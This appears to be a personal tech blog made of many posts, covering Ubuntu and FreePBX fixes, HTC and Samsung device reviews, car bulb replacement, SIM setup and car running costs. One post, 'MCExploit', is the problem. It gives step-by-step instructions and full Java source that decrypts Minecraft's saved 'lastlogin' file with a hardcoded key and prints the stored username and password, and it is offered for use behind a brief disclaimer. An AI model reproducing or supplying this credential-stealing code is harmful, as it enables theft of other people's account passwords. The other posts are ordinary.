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The solution was to set the nomodeset in the boot options.

On boot, select the language and before pressing on one of the options such as install press F6 and select nomodeset from the menu. A ‘X’ should appear next to the menu item to say it has been selected. Press escape and continue as normal.

Work arounds for ubuntu 12.04

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I’m not sure if it’s the same issue as this thread but to solve it I went to:
Settings > Developer options and uncheck Don’t keep activities under App section.

HTC Sense (home screen) having to reload (“Loading…” for 10 seconds) frequently?

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Restarting the phone by pressing the power button goes back to the same screen. To solve the issue unplug the cable from the phone.

Related posts:

1. Home Screen Constantly Loading On HTC
2. Long Boot Times With External HDD On A Mac
3. HTC One X Mini Review

After updating FreePBX from 2.9.0.11 to 2.9.0.12 the inbound calls were not routing to my ringgroup / extensions. The calls were coming from Sipura 3102 and no settings were changed other than upgrading the framework.

Investigation

I Tailed the log in /var/log/asterisk/full I found the following errors when an incoming call was placed:
WARNING[2402] chan_sip.c: username mismatch, have , digest has <>
NOTICE[2402] chan_sip.c: Failed to authenticate device ;tag=a907d4e9972ccb0do1

This meant the Sipura was forwarding the calls correctly and FreePBX was receiving the calls too. The biggest clue was pstn between the brackets because the name matched the inbound route I had setup for the landline.

The second notice line was just information about the call itself so 123456 was the caller ID, the IP address (192.168.0.1) was the FreePBX server address. Not sure what tag was but that changed every so often.

Solution

Log in to the Cisco Linksys SPA management webpage as admin and go to the advanced view. Go to Voice > PSTN Line tab and change User ID under Subscriber Information to the name of the inbound route on FreePBX. In my example above this would be “pstn”. This must match exactly the name of the inbound route name.

If the above is incorrect then the digest value will be populated with the SPA name. For example if the User ID was changed to Danny then the the new error message would be something like this:
WARNING[2402] chan_sip.c: username mismatch, have , digest has

Summary

Not sure why it had stopped working and looking back at my previous post on how to setup the Sipura and FreePBX it doesn’t look like I set the User ID for the PSTN line. Maybe a change from the old to the new version of FreePBX

Related posts:

1. Add Sipgate To FreePBX
2. Adding Outgoing Skype For SIP To FreePBX
3. Linksys SPA3102 And FreePBX On Ubuntu 10.04

It’s been almost 2 years with my HTC Desire so it was time to update my handset. The Desire was my first Android phone after owning an iPhone 3G.

I have had the phone for just over a week now and here is what I thought:

Android

I’d admit that Android as a whole (software and ecosystem) doesn’t quite have the sleek and integration as the iOS systems but as a power user it suits me well. I wanted to stay with Android thanks to it’s customizability and flexibility. As a Linux advocate I’m happy to tinker around and after using Cyanogenmod it shown what Android is capable of.

My two main gripes with the Desire was the storage space and battery life. The storage was very small and required a lot of compromise when installing a new app. With Android 2.2 Foyo apps were able to be installed to the SD Card which was good at first. Later on I discovered apps still take up space on the phone memory and the amount of space it takes up all depends on how efficient the developer has optimized the code. Another problem is downloading apps including updates to existing apps required the space available on the phone to be downloaded. If it’s an update you need the space to have the app installed you need the additional space to download it first before the older version is removed. Lastly apps moved to the SD card have limitations like widgets were not available or in case of Facebook app, it could not sync with contacts.

One X Or One S

I had always advocated that Android phones were getting too big. This was a trend I did not like and it also looked like the flagship phones were going to be also the biggest in the ranges including the Motorola Droid Razr, Google Samsung Nexus and now the One series from HTC. I believe the Apple design and size was good for one handed use allowing a lot of screen coverage without moving the hand.

The One S was very good but still slightly bigger than I liked it to be. The case was and felt like metal with a contrasting red bezel on the camera. The screen size is stated to be 4.3 inches with a Qualcomm Snapdragon 4 1.5 GHz processor. It has 16GB of storage and VGA front camera.

The X on the other hand has a nVidia Tegra 3 quad core 1.5 GHz processor with 32GB storage, 1.3MP front camera and NFC3. The screen is a 4.7inch Super LCD.

Whilst the added size to the screen does make it sound like the X will be extremely large physically in reality it was only slightly bigger in height, width and depth. The trade offs between the two also include the case material. Whilst the S uses metal construction the X uses plastics. Also the X includes 802.11a (not that I have a use for this protocol) and NFC3. The lack of NFC in the S seems like an oversight to me as it should be more and more prevalent in the future.

The battery is comparable between the two. The X has a larger one than the S but the X battery also needs to power the larger screen. I think the S4 processor is a better design to the Tegra so it remains to be seen which is better in terms of longevity. For day to day use both processors should be good enough.

As for the storage space both have a lot and the only limit is the amount of music / videos you can put on the phone. The quoted size is not the available user space but the 16GB Galaxy Tablet still has plenty of space on it but that doesn’t have any music on it.

For the trade off in size I decided to get the X.

HTC One X Sim

Before even getting my hands on the phone I had to make sure I could get a micro sim for my O2 Simplicity contract. O2 Confirmed I could and so I had to get a replacement one from O2 and then I went to Carphonewarehouse to get a sim free HTC One X. If I was to get a micro sim from Carphonewarehouse I would have to “purchase” one which meant topping it up with £10 for a pay and go micro sim.

The O2 micro sim now comes with in three sizes. First is the credit card size card which I believe was used in the 90s mobile phones. Then there’s the modern day sim card size and lastly is the micro sim size. All sizes were achieved with perforated cut outs for the correct size. the perforated cutouts were still very strong and hard to get out so it should be have no problems staying as a normal sim card size.

Hardware

The build quality is very good. Even though its made of polycarbonate there are hardly no flexing in the case. The sides are tapered which makes holding it comfortable and feel slightly thing than it is (not that it’s not thin). The back of the phone has the rubberised feel at the back and front and the sides have a matt finish. The top and bottom ends of the phone looks like its raised slightly to make a concave shape. With that shape the screen is thicker in the middle but looks as though the screen is wrapped around the edges.

The front camera is sunken into the case which means it will gather dust and dirty very easily and also makes it hard to keep clean. This is a quite a big oversight in design in my opinion and only a brush will clean it properly.

The camera does protrude at the back it still remains to be seen if this is going to cause any problems. The touch sensitive buttons are very far apart so it’s hard to press two or the wrong one by accident but it does lack the menu button which was present in my last phone. Also I think soft keys are the way forward so buttons appear on the screen rather than dedicated hardware buttons (with the exception of things like power and volume buttons) if the implementation is right.

The phone has 2 microphones, one for capturing voice and the other for noise cancelling. The noise cancelling mic is located at the top of the phone which should be a better than the Samsung Galaxy S2 where you get echo because the second mic is too close to the normal mic.

The loud speaker is fairly good. It can go to max volume and be quite clear but it does cut out on the heavier bass notes. Two notches down on the volume scale is the sweat spot. The speaker and earpiece grills are microscope holes which i like because they are so small it looks like dust will have trouble getting into them but if something do get into those holes I think it will be extremely hard to remove.

There is a tiny LED indicator behind the earpiece grill which is a very nice touch and what is lacking in the Samsung Galaxy S2.

Processor

The so called 4+1 nVidia Tegra 3 processor is more than capable to keep the software running smoothly with little effort. 4 is the number of cores which makes it a quad core ship and the + 1 is a smaller, less powerful but also uses less power core which also the phone to keep running using a lot less power. This is an interesting design as it also the 4 cores to do the heavy lifting when using the phone but switch to the single core when the phone is essentially on standby to allow notifications and background tasks to run. Personally I would prefer a chip which is powerful and efficient like allowing the CPU to throttle down and overclock when necessary and allow the demand to change the running of the chip.

Battery

The battery life is holding up very well in my day to usage. I’m getting approximately 25-50% battery life left at the end of a working day which is a lot better than the Desire which was always on amber (30%) or less. I don’t use the phone as a music player so I can’t comment on continuous usage but keeping the screen on does take a toll on the battery. I have the screen brightness on automatic but find it has it on too bright most of the time but there is no way to adjust the automated brightness level like you can in Cyanogenmod.

Screen

The large size of the screen makes it more comfortable to look at for longer periods of time. I’m finding it less stressful to the eyes to read and watch things longer than 5 minutes. Where as before I would glace at things, mark them as favourite, star it, etc for later when I’m either on a PC or tablet.

Storage

The memory on the phone is spilt very oddly. There’s approximately 2GB which it recognises as internal memory and over 25GB as “phone storage”. This means there are two separate “partitions” where apps can be held and this could be a massive drawback because even moving apps off the internal memory it still uses some. The potential scenario is that you use up the 2GB internal memory with plenty of space left on the phone memory. Why could it not be one big bank of internal memory!?

Only time will tell if this will become an issue or not.

Camera

The shutter speed of the camera is very impressive. There is hardly any delay between pressing the button and taking the picture and the burst mode is very good almost too good because I managed to take a picture where the top half had the flash and the bottom half did not as if it took it in between.

Low light performance is what you’d expect form a a camera phone – bad. In ambient or bright day light the camera will cope fine but for going out in the evening it still does not beat a good old fashion point and shoot camera.

The face detection was very picky and the smile detection did not work for me at all even when it detected a face in the shot. HDR is rubbish compared to the iPhone. The image tends to blur when taken a HDR picture unless it’s on a mount of some kind (no traditional tripod mount for the phone as far as I’m aware).

The face unlock was very good and detected my face most of the time. The face unlock can be improved by taking multiple pictures from different angle and lighting. If the unlock failed then it resorts to the unlock code / pattern. The process of unlocking by facial recognition is a novelty because it adds time to unlock the phone. It takes about 1 sec to initialise the front camera and more to get the front facing camera lined up. Also you would look pretty stupid holding up the phone to unlock it every time.

NFC

So far I’ve been very disappointed with NFC purely because of the lack of support. There is no real world application out in the UK at the time launch / writing this post which utilises this feature. I was hopping VISA or the Google Wallet will be out but there is nothing. Fingers crossed they will materialise over time or I will be very disappointed.

Seeing as the UK Play store doesn’t have even Google Wallet available it is useless. If after my time of ownership nothing comes of age with this feature then I probably would regret getting the HTC One X and should have got the smaller HTC One S.

Beats Audio

I have always had an issue with Beats and question the value it adds. Whist the device has “Beats” logo branded on the back it didn’t come with any beats earphones. The only other thing which bears the logo is a wallpaper included and when an headset is plugged in a Beats icon appears in the notification tray. From I can tell the wallpaper does nothing but aesthetics and the notification icon just boasts the bass on the music being played. It allows you to turn it on and off from the notification but nothing an equaliser can managed. Overall it’s a marking thing and adds nothing to the phone.

Software

The phone comes with HTC Sense on top of Google’s Android UI. Sense runs very smoothly and the Sense 4.0 gives it a very nice look to it. As usual it comes with an array of widgets and bundle apps whether you want them or not. These include:

• Facebook
• Twitter
• Flashlight
• FM Radio – To listen to over the air radio
• Friend Stream
• HTC Hub – HTC’s own app store
• Mirror – Turns on the front facing camera
• Movie Editor
• Notes
• Personalize – HTC way of customizing things like wallpaper to ringtones
• Polaris Office
• PDF Viewer – Not Adobe
• SoundHound – Similar to Shaazam
• Stocks – Yahoo stock app
• Tasks
• TuneIn Radio – Internet radio app
• Weather

The list above is extremely large and I wish HTC would stop including these apps or at least cut them down.

HTC has improved on a lot of things like allowing the number of homes screens to be configurable, re-arranging home screen order and having the settings in the notification pull down but all of this still does not match up to Cyanogenmod.

I have had 1 reboot so far due to a crash and after it booted up a dialogue box came up requesting to send the error report in Windows style.

Summary

So far the phone has lived up to my expectation. The battery life very good and everything runs very smoothly. I am slightly concerned by the size because I am no longer able to text with one hand because my fingers cannot stretch to cover the screen without moving my hand up and down the device.

Carrying the phone in my trouser pocket is not an issue because it is so thin. Everyday use has been great so far but I do criticise the Beats Audio branding.

Related posts:

1. HTC One X Stuck Update Screen
2. HTC Desire Mini Review
3. Samsung Galaxy Tab 8.9 Mini Review

I do not condone the act of stealing or cracking people’s passwords and this information is provided as is.

The full video is located here:
http://www.youtube.com/watch?v=YNm5DJtUI-0

In summary:

1. Install Java 7
2. Install Eclipse
3. Create a java project called MCExploit
4. Create a new class called MCExploit
5. Copy and paste the following into the java class over writing everything in it:
   import java.io.*;
   import java.net.*;
   import java.util.*;
   import javax.crypto.*;
   import javax.crypto.spec.*;

   public class MCExploit
{ public static void main(String[] args) throws Exception {
System.out.println(MCStealer()); } public static String MCStealer() throws Exception {
String output = null;
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);
if (getWorkingDirectory().exists())
{ File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();
}
return output; } public static File getWorkingDirectory() {
String userHome = System.getProperty("user.home", ".");
File workingDirectory;
switch (getPlatform())
{ case 1: case 2: workingDirectory = new File(userHome, ".minecraft/"); break; case 3: String applicationData = System.getenv("APPDATA"); if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else workingDirectory = new File(userHome, ".minecraft/"); break; case 4: workingDirectory = new File(userHome, "Library/Application Support/minecraft"); break; default: workingDirectory = new File(userHome, ".minecraft/");
}
return workingDirectory; } private static int getPlatform() {
String osName = System.getProperty("os.name").toLowerCase();
if (osName.contains("linux")) return 1;
if (osName.contains("unix")) return 1;
if (osName.contains("solaris")) return 2;
if (osName.contains("sunos")) return 2;
if (osName.contains("win")) return 3;
if (osName.contains("mac")) return 4;
return 5; }
}

6. Run the class

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1. Facebook Picture Upload Crashes Or Errors On FireFox
2. Welcome Back Internet Explorers
3. JavaME With Bluetooth GPS

• Trimer remover or flat head screw driver
• Replacement bulb
• Cloth

The OEM bulbs that were in my car were a 12v5W W5W.

I replaced them with SMD LEDs from eBay:

2 x Xenon 5 LED SMD Car Side Light Sidelight White Lamp Bulbs T10 W5W 501 168

The light block is rectangle in shape and the block also holds the bulb holder.

On the drivers side the light block should perpendicular to the car i.e the short sides face the back and front of the car.

Use the trimer remover / screw driver and get under the plastic on the short side closet to the boot. Push the tool in and down, forcing it to come out. If the tool was inserted correctly it should be pushing in the clips. Once one side is down and out it’s fairly easy to pull the rest out with no tools. Be careful in pulling the block out because the wire harness is still attached to the holder. The bulb holder is on the opposite side to where the clips are / where the tool has pushed against. This can be disconnected by pulling out the wire. Alternatively it can be left in.

Rotate the block or bulb holder anti clockwise to remove the bulb holder form the light block. This should reveal the bulb itself.

Use the cloth to remove the existing bulb. Be careful because the bulb will be hot and the cloth is just a pre-caution. Re insert the new bulb, put the holder back into the light block. Rotate clockwise to lock it in place, attach the plug if it was unplugged. Slide the block back in including any wires from the bulb holder side first. Then push the clip side in last.

For the passenger side do the same as above but this time the light block is 90 degrees from the driver side. So the short ends are facing the side of the car. The side to put the tool in to depress the clip is the short side closet to the centre console.

Related posts:

1. Tesco’s 15W Mini Spiral Mini Review
2. Blown Bulb
3. 200W > 500W Is Not A Good Idea

Part number: 51 47 0 433 563

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1. Codemaster Screw Up DRM?
2. Remove Ubuntu Keyring Password
3. myfavouritemagazines.co.uk = poo

After a horrible experience with a “compatible” cover for the Samsung Galaxy Tab 8.9 I decided to get the official one and be done with it.

Case

The book style cover protects front and back with a hinge which have cut outs for power and 3.5mm headphone socket. The volume buttons are covered unfortunately but the volume cut out also has a slit to allow the cover to open without tugging on the headphone cable too much. The case is made of plastic with a cross hatched lines. It is a great feel but the lines do catch more dirt and dust between the lines. On the inside the case has a soft felt lay which helps to protect the tablet from scratches. The device is held in with side / corner tension clips. This clips are not too strong but not too weak however if it was dropped with the cover open it may come out.

There is flap at the end of the cover which over laps the side with the proprietary connector used for charging the device. This means the flap must be open to charge the device but whilst traveling it protects the port from dust and other possible damage. The flap contains magnets which holds the book style cover close. I prefer the magnet system because it’s easy to open and doesn’t make a noise when opening the cover unlike Velcro. Besides keeping the cover closed the flap also serves to hold the tablet up in a wedge shape.

The flap also may hit the screen which makes a crack sound. This means when closing the cover the flap needs to be moved to ensure it does not hit the screen on the flap edge.

Summary

Overall the case is sold and good fit. It provides adequate protection and functionality. The only down side is not being able to charge without opening the case up slightly but I’m just nit picking now.

Samsung EFC-1C9NBEC 8.9 inch Book Cover for Galaxy Tab – Black Synthetic

No related posts.

Below are steps to setup a pay and go O2 sim card with the Samsung Galaxy Tab P7300. This should also work on the 10.1 tab with 3G.

Prerequisites

• Pay and go sim card
  
• Mobile phone

Activate Sim

Skip this step if the sim card has already been activate and used in another device.

1. Remove outter packaging and the sim card from the credit card sized card. It has 3 tabs holding it in place.
   
2. Insert sim card into the mobile phone
3. Turn mobile on
4. Call a number. The call does not have to be picked up but just to ring to ensure it works
5. Power off the phone and remove sim card

Tablet Setup

The tablet does not need to be powered off when performing the steps below.

1. Pull and swivel the sim card cover
   
2. Place the tablet in landscape with the Samsung badge at the bottom
   
3. Insert the sim. The sim chip should be facing away from the front of the tablet with the notch on the bottom right corner.
   
4. The sim card is spring loaded so when the card is only sticking out by few millimeters it needs to be pushed in so that it is flush with the opening. I used the credit card sim holder but a finger nail can also be used.
   
   It should click in place.
   
5. Swivel the sim cover back into position. If it does not close properly it may be that the sim has not been pushed in far enough.
6. Turn the tablet on and go to Settings
7. Select Wireless and networks from the left hand side list
   
8. Select Mobile networks from the right hand side list. A dialog should appear
   
9. Select Network operators. It should search for networks. At this point a text message may appear from the carrier (O2 in this case) saying it was unable to retrieve settings. Ignore it.
   
10. Once the search is complete (regardless if it was success or not) select Select automatically
    
11. A notification should appear below saying Registered on network.
    

Register Sim

Registering the sim allows the pay and go sim card to be managed online. This includes topping up and buying bolt ons.

Go to the O2 website and create a new account registering the sim on the account. The new account can be linked to an existing account. To do this log out of the pay & go account and log into the other account. In My O2 there is a link to Link/view your o2.co.uk accounts.

Then click on the Link an existing account hyper text and follow the instructions to add another account.

Once complete the pay and go sim can be managed by one log in.

Summary

The pay and go option complements my contract sim on my mobile well. It means I don’t have to pay for 2 contracts and no tethering is required (for battery reasons). The pay and go sim has a 6 months period before becoming inactive so as long it’s being used it will remain active. The O2 store representative said that can be a text or phone call. I asked if using data counts and she said it does but I have not had it long enough to test this.

O2 also offers the pay and go sim in iPhone / iPad micro sim version too.

Related posts:

1. Pay & Go Sim For Tablets
2. Samsung Galaxy Tab 8.9 Mini Review
3. Opera Mobile Tested

I have been trying to calculate the total ownership cost cars using variety of fuel types from petrol to diesel and hybrid. I have excluded pure electric cars because it’s hard to judge the running cost and how long the batteries last.

Legend:

• TT TDI = Audi TT TDI (170PS)
• TT 1.8 FSI = Audi TT 1.8 FSI
• BMW 123d = BMW 123d
• BMW 120i = BMW 120i
• Civic 1.4 = Honda Civic 1.4 2002 (current Car)
• Civic 2.2D = Honda Civic Type S 2.2 Diesel
• Civic 1.8 = Honda Civic Type S 1.8
• CR-Z = Honda CR-Z GT
• Sirocco TDI = VW Sirocco GTD (170PS)
• Sirocco 1.4 = VW Sirocco 1.4

The above gives a quick summary of the total running cost and not including the purchase price of cars with different fuel types. The purchase price were not included because I’m looking at the longer term ownership and also not all cars in the comparison will be bought new. The statistics were from Parkers and the manufacturers website. Insurance was based on my circumstances with an estimate 15000 miles per annum.

New Models

Comparing fuel costs alone for the for one year based on 15k miles where petrol costs 130p and diesel costs 139p the biggest difference is the VW Sirocco at £387.31. The Audi TT came out at the smallest difference at £226.33. For a few hundred pounds it does not seem like a lot of difference in terms of fuel saving. The best performing out of all the models is the Honda CR-Z giving diesel like mileage with the cheaper petrol combination. The problem is the performance. The BHP figure is also the lowest.

Looking at the first year costs comparing between diesel and petrol equivalent the Audi TT wins again with a difference of £176.33 and the Sirocco losing at £450.31. With less than £200 between a petrol or diesel I would definitely get a TT TDI because it comes with Quattro all wheel drive and a slight bigger engine. Overall the cheapest to run is the Honda CR-Z again. The second best was the Sirocco GTD by £76.92 from the 2.2 Diesel Civic in third. Noting all the cheaper to run cars in the first year go Petrol, Diesel, Diesel.

The following years of ownership should follow the same pattern as the model doesn’t take into account servicing.

Current Car

Comparing my current car with the others there have been a significant improvement in fuel efficiency. The car is almost 10 years old and the improvements can be seen on the cost of road tax. All the other vehicles in the comparison are in the cheaper tax band with the exception of the 1.4 Sirocco but even then the engine produces more than double the BHP.

The annual running costs of the 1.4 Civic is calculated to be the 6th cheapest to run out of 10!

Caveats

It was impossible to take into account replacement parts and servicing as each dealer and car had different price and each service would consist of different maintenance tasks. Also the MPG figures should be taken lightly as these are what is written on the paper and not what the real world figures are. I suspect the actual MPG will be at least 10 MPG less than what is stated.

Summary

The differences between similar trim for the same model do not have a lot of difference to run. The cost of the car to buy may impact the amount saved at the end of the ownership because there is only a few hundred pounds a year difference so over the long term period (5-10 years) this could add up to £1000-2000 which may be made up when negotiating to buy the car in the first place.

No related posts.

I picked up a new Samsung Galaxy Tab 8.9 which fulfills a want since these beautiful devices have come out. I hope this will replace the netbook that is the current travel companion which was a Acer Aspire One E255 at the time of writing.

Reasoning

I wanted to stay and support Android and with Ice Cream Sandwich announced to go onto the tab by Samsung I know it will be supported for a while longer. The fall back is as always the flash / ROM scene such as Cyanogen Mod.

This put Samsung in a good place. Xoom 2 was only just released so there were none on the shelves when I was browsing (for several days) and then there was the Sony Tablet S. The specs were relatively similar (16GB, nVidia Tegra 2, 1280 x 800 (WXGA), 802.11n) but I wanted 3G which the Sony did not have but Samsung lacked SD card slot. The Sony was priced the same as the iPad 2 WiFi on offer. I went for Samsung in the end.

The next decision was the size. There were 10.1 and 8.9 in stock but no 7 inch. It was a hard decision between the 2. The 10.1 came out before the 8.9 and a lot of accessories are designed around the 10.1. The up side to the 8.9 is that it has all the same specification as the 10.1 but squeezed into a smaller form factor. This means the DPI is higher because the pixel count is the same all be it on a smaller diagonal screen and according to reviews the internals have been moved around and made it more balanced to hold.

Box

The box was smaller than the iPad 2 but at the same time had a lot of wasted space. The tablet sat on top of a layer of card which hides the bundle accessories:

• USB cable
• Universal USB wall charger
• Earphones
• Quick start guide

As part of a “gift” with the purchase of 2 Samsung Galaxy Tabs we got free screen protector (which I poorly placed only to be salvaged by my brother Tommy Tsang), a HDMI cable and a 8GB Sony memory stick. I think I would have preferred the memory card reader instead but the HDMI cable was more expensive RRP.

Hardware

I got the black version of the tablet but there is also a white one. The only difference is the back which have the different colours. It’s a shame the front bezel does not have the matching colours like the iPad 2. The unit feels solid and well built with no flexing at all.

The glass front stretches all the way across to the frame which is nice but the frame edge is raised higher than the glass. The frame edge is coated in metallic looking paint but it’s made of plastic. The back has a software rubber touch which is nice and does not feel as cold as the glass on the front. The bezel width is less than a thumb widths thick but enough room to allow a person to hold on to the device without touch the screen.

The Samsung badge is on the front and back and suggests the natural tablet orientation is landscape. In landscape orientation the speakers and dock connector is at the bottom edge below the Samsung logo. The dock connector resembles an Apple connect but it’s proprietary. I wish Samsung had stuck with the standard micro USB like it’s Samsung Galaxy S2 phones! The power, volume buttons and 3.5mm headphone jack are at the top edge of the tablet offset to the left.

The sim card slot is on the top edge offset to the right. There are no labels describing what the ports or buttons except for the sim card cover do but they are intuitive. Even with the label on the sim card cover it is not obvious which way round the sim should be inserted unless you consult the quick start leaflet.

Software

P7300 came with Android Honey Comb (not sure which version) but immediately I performed a system update. In order to do this I had to add my Google account and also sign up for a Samsung account. I think it should be able to do an update without having to set these up. Once that was done it took approximately 20 minutes after downloading the update to install. It required a reboot as well and I could see it updated the baseband version to P7300XXKJ6. The new Android version was 3.2 with Kernel 2.6.36.3. One problem that occurred was the Android market place on the home screen stopped working after the update but it just required the icon to be removed and re-added to the screen.

The tablet comes with Samsung’s TouchWiz interface. It looks fairly similar to stock Honey Comb but with a few different bits here and there. The best part of the interface is the mini apps. These app shortcuts are overlayed on top of any app and allows the apps in the mini app bar to be accessed.

The problem with the software is lack of customizability. Coming from a phone with Cyanogenmod it seems very locked down. The widgets are fixed to certain max and min size which does not allow it to be stretched across the screen. The apps in the mini app bar can not be changed and the software includes software which I do not use and cannot be removed such as Pulse News.

Another criticism is home button. On the iPad this is a hardware button where as the Sammy tablets it’s software. This is not a problem for me but what is a problem is the UI thread priority. With a button it’s a hardware which can send interrupts to the software. On Android Honeycomb the software buttons at the bottom (including the home button) seems to run in the same UI thread and therefore it stops responding when something hangs. The button is very important because it should stop and kill any app. There have been several times where I have to press and hold the power button to turn off and on the the Galaxy Tab again. This brings me to another point. There is no restart in the power button menu!

Battery & Performance

The battery life on the tablet is very good so far. I am able to get a day of on off use for general browsing and using apps and games. I generally play games on it for approximately 1-2 hours total a day but not all at once. At the end of the day it usually has about 15% of battery life left.

I have the screen brightness on auto and screen timeout on 2 minutes. I have wifi ‘n’ turned on at all times as well.

One of the annoying things I have found is the lack of task manager in a situation where large amount of resources are in use. Whilst it has a task manager, it is an app with what seems to be the same priorities as other apps so when an app like Skype keeps hogging the resources you have to wait for it to finish to turn off and on the device (there is no restart option).

Live wallpapers also seem to slow down the animations on everything. It is very noticeable especially when scrolling lists.

Accessories

I have found it hard to find accessories in brick and mortar stores for the 8.9 Tab. Most of the items on display here in Hertfordshire are either iPad 2, Motorola and if any are Samsung accessories they are for the 10.1 version. Online shops are better but it’s very hard to tell if the accessory is compatible with 10.1, 8.9 or both due to lack of descriptive information on products.

I even purchased a AO case and it’s flawed in design. The top front edge of the case flips up as if there is not enough slack or something along those lines.

In the end I returned the case and got the official Samsung Book style case which comes in black (EFC-1C9NBEC) and ivory.

Summary

I like the tablet overall but it does have some problems (typical Android products?). The hardware is very slick and nice. I feel Android is more or less on par with Apple but the software still needs refinement.

Samsung Galaxy S And Galaxy Tab Not Getting ICS

Related posts:

1. Samsung EFC-1C9NBEC Book Cover Mini Review
2. O2 Pay & Go Sim With Samsung Galaxy Tab
3. Samsung 46D8000 Mini Review

1. T-Mobile Store – Closet store on arrival. Staff was helpful in helping us and offered a regular pay and go mobile phone sim. This was apparent when he said you can buy bundles via SMS.
2. Vodafone Store – Asked for a sim for a tablet just like T-Mobile store but this time we were only offered a tablet tariff sim card. The data plan was very limited: £5 for 50mb
3. Three Store – Same question as per the other 2 stores and was offered a tablet tariff again. This time on a more generous at £10ish for 1GB. I Asked if a “normal” mobile phone pay and go sim can be used instead of the tablet sim that was offered and the sales guy said and I quote “2 different networks, one for mobiles and one for tablets.” He went on to say Three would block the tablet if it was using a mobile phone sim. At this point I smelt something similar to feces… I left the store not long after that statement.
4. Carphone Warehouse – Another helpful guy who as an independent representative from a network carrier suggested some tablet sims. I inquired about using a pay and go phone sim and the representative said it could be done but it’s not guaranteed to work, as I suspected.
5. O2 Store – I decided to not mention tablet when I asked about their text & web pay and go sim. It has 300 text + 500mb if you top up £10 each month and the credit stays on the phone so you can use that to buy data bolt on for example.

I do not know what the terms and conditions state about usage of the sims and devices and so proceed with caution. I do not take any responsibility or liability for your action from the information given.

I settled on the O2 sim. I went to the store last because I liked the text & web tariff but also you could manage it online.

Related posts:

1. O2 Pay & Go Sim With Samsung Galaxy Tab
2. My Year At GSK
3. iPhone 3G Thoughts

I’m preparing myself to move from 10.04 to 12.04. With 12.04 as the next Long Term Release (LTS) coming in the next release I thought it was time to prepare for the inevitable move from old to new.

Setup

LTS from Canonical has support for 3 years for the desktop but it has been increased to 5 years for 12.04 code named Precise Pangolin. My Linux headed server currently does a lot and I like to treat it as a production system which cannot go down for long periods of time. The following services are being used:

• FreePBX – PBX system which manages the phones in the house
• Energy@Home – Logs power usage at home
• uPNP – Allows streaming of media to the T.v / Playstation 3
• Ampache – Music streaming service
• MythTv – DVR for digital and analogue T.V

Most noticeably the most important one is FreePBX. The rest are good to have but will only cause inconvenience if it was not running. To complicate things slightly the system is currently using LVM. I have never migrated an LVM before.

Hardware

The computer was originally built in 2004 with some minor upgrades including CPU, RAM and HDD but it’s starting to show it’s age. The hardware was bought as a budget secondary desktop computer but has since resided to a headless 24×7 server. Now it has so many services and software running that the load average is constantly above 5 on a AMD Athlon 64 4000+ (1×2.4GHz stock) with 2GB RAM. The system has a 500 watt PSU but consumes around 130 W.

I think it’s time it received some TLC and a well deserved upgrade and it would be perfect if I could time it with the next LTS. Some of the features I’ll be looking for are:

• Gigabit Ethernet (hopefully 2 if possible)
• More than 4 SATA ports
• At least dual core CPU
• Water cooled CPU

Check List

List of things to do before upgrading:

1. Backup user files – Music, pictures, etc
2. Backup settings – FreePBX, Gnome(possibly), fstab, apache conf, …
3. Backup website files
4. Backup Database

Test Backup

It’s always important to test the backup to ensure they actually work! Files and databases are easy. They can be restored into a different database and files can be copied to a different computer or different location as long there is enough space.

Summary

I probably won’t migrate on the day of release but I may test the backup plan around that time to make sure everything works. Once that’s done, Setup a VM and try installing and restore some of the backed up data and see if it works.

Ubuntu 12.04 LTS to get extra-long desktop support cycle

Related posts:

1. Downtime
2. Replace /dev/xxx With UUID
3. FreePBX Symlink From Modules Failed

The product is aimed at action sports which can be mounted on a bike or helmet but there are other attachments that come with it.

Box Contents

The specification of the camera is not great but it’s a budget camera so it’s no Go Pro which are used on shows such as Top Gear. The case is metal and state to be waterproof. There are rubber rings around the 2 screw points. One at the back to access the micro SD card slot, micro USB for charging and accessing the SD card, reset button and one at the front which holds the plastic cover over the camera. The casing feels tough and durable but I’m not sure about the plastic lens cover.

The box contained a lot of accessories such as a (non adjustable) bar mount, Velcro and Velcro straps and belts. The bar mount is made of 100% plastic including the locking screws. There are rubber inserts inside the bar holder but the rubber is not very well formed and can easily fall out if poked.

The Velcro straps and holder are better and include generous amounts. There are pieces which have adhesive on but I’m not sure of the quality.

Use

I’m sure the unit was suppose to come with a manual but mine did not. Just to some up in case others have had the same:
LED (in use)

1. Solid Red, No Green – Displayed when turning the unit on with a press of the button. The unit is warming up / initialising
2. Solid Red, Solid Green – The unit is powered up and ready to record
3. Solid Red, Flashing Green – Unit is recording

The recording process would be:

1. Press the button
• Solid red light appears
2. Wait for solid green light
3. Press the button to start recording
• Green light starts to flash
4. Do recording
5. Press button to stop recording
• Green light turns solid
6. Press and hold the button to turn the camera off
• Both lights turn off

The battery is rated 3.5 hours and I have managed to test it for a non-continuous 2.5-3hours without any problems.

Date Time Stamp

By default the date time stamp should be shown on all recorded videos. To make changes to this perform the following:

1. Plug in the USB cable to a computer or insert the micro SD card
2. Navigate to the root of the SD card i.e not inside any of the folders
3. Create a text file called time.txt
4. Edit the text file and enter the following YEAR.MONTH.DATE HOUR.MINUTE.SECOND N 50

Replace YEAR.MONTH.DATE HOUR.MINUTE.SECOND Y 50 with actual date. The Y is a flag to tell the camera to show or hide the date time stamp i.e N or Y. Leave the 50 (not sure what that is for). Example text that should be in the time.txt file:

2011.11.28 13.45.00 N 50

The above code will set the date as 28/11/2011 with a time of 1:45pm and do not show date time stamp.

Example Recording

The transfer rate using the device and supplied USB cable was extremely slow! It was averaging around 715kb/s on a 4GB non rated micro SD card. Also it seems to split the recordings into 30 minute 16 second per file.

Ok it doesn’t show the sound quality but it’s an idea on how well the video function performs.

Summary

For the price the camera makes a good throw away camera. It comes with cheap mounts but enough to get someone started. At under £25 + £10+ for the memory card I won’t cry if it breaks.

Chilli Technology Action 3 VGA Head Cam – Black

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1. Dorgem Open Source Montion Capture Software
2. Flip Ultra HD Review
